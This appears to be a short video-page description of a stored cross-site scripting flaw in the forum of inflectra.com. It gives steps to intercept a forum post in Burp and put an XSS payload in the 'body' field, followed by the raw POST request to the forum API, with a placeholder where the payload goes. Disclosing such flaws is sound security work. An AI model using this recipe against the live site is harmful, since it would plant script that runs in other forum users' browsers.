Скачать или смотреть Stored XSS in inflectra.com | Critical Vulnerabilty

Very simple:

Open forum, Write something, Intercept request in burp & in the parameter "body" put any XSS payload. Done!

POST /Support/services/api/forum/19 HTTP/2
Host: www.inflectra.com
Cookie: xyz
Content-Length: 104
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://www.inflectra.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.inflectra.com/Support/For...
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Connection: close

subject=Hi+let's+test&body= PUT Your Payload or anything &tags=&subscribe=false